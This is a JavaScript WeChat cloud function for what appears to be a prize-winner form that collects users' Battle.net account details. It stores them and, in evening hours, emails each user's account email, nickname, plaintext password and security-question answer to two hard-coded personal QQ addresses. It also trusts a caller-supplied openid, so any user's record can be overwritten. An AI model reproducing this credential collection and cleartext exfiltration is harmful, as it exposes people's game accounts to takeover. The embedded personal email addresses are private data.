// 云函数入口文件
const cloud = require('wx-server-sdk');
const lateHour=23;
const earliest=18;
cloud.init({
  env: 'online-00000'
})

const db=cloud.database()
const _=db.command
// 云函数入口函数
exports.main = async (event, context) => {
  let now = new Date();
  let h = new Date(now.getTime() + 3600 * 8 * 1000).getHours();//获取当前小时数
  const wxContext = cloud.getWXContext()
  let openid = wxContext.OPENID;
  if(event.openid){
    openid=event.openid
  }
  const { zw, formId}=event
  let pro = await db.collection('winners').where({
    openid
  }).update({
    data:{
      zw,
      status:true
    }
  });

  let curDate = new Date(new Date().getTime() + 3600 * 1000 * 8)
  let time = `${curDate.getFullYear()}-${curDate.getMonth() +
    1}-${curDate.getDate()} ${curDate.getHours()}:${curDate.getMinutes()}:${curDate.getSeconds()}`;
  //发送模板消息
  let sendResult;
  if(!event.openid){
    sendResult = await cloud.openapi.templateMessage.send({
      touser: openid,
      templateId: 'zl0nh77VltuuRy13sxW5joEUFpw3Ez9HkXMHTXhdHf0',
      formId: event.formId,
      page: 'pages/result/result',
      data: {
        keyword1: {
          value: '战网信息',
        },
        keyword2: {
          value: openid,
        },
        keyword3: {
          value: zw.email,
        },
        keyword4: {
          value: time,
        },
        keyword5: {
          value: '信息提交成功'
        }
      }
    });
  }
  else{
    sendResult='qq发送模板消息暂时未处理'
  }

  
  let mes='未逾期没填战网信息'
  if (h >earliest&&h<lateHour){
    let content =`<div style='border:2px dotted skyblue; border-radius:20px;margin-bottom:20px'>
                <ul style='text-align: center;'>
              <li style='list-style:none;'>
                <span style='font-weight:bold'>邮箱:</span>
                <span>${zw.email}</span>
              </li>
              <li style='list-style:none;'>
                <span style='font-weight:bold'>昵称:</span>
                <span>${zw.nickname}</span>
              </li>
              <li style='list-style:none;'>
                <span style='font-weight:bold'>密码:</span>
                <span>${zw.password}</span>
              </li>
              <li style='list-style:none;'>
                <span style='font-weight:bold'>安全问题:</span>
                <span>${zw.answer}</span>
              </li>
            </ul>
          </div>`
    mes=await cloud.callFunction({
      name:'sendEmail',
      data:{
        title: '补充账户',
        emils: '41662242@qq.com,1126642524@qq.com',
        content
      }
    })
  }

  return{
    openid,
    mes,
    pro,
    sendResult,
    mes:'提交成功'
  }


}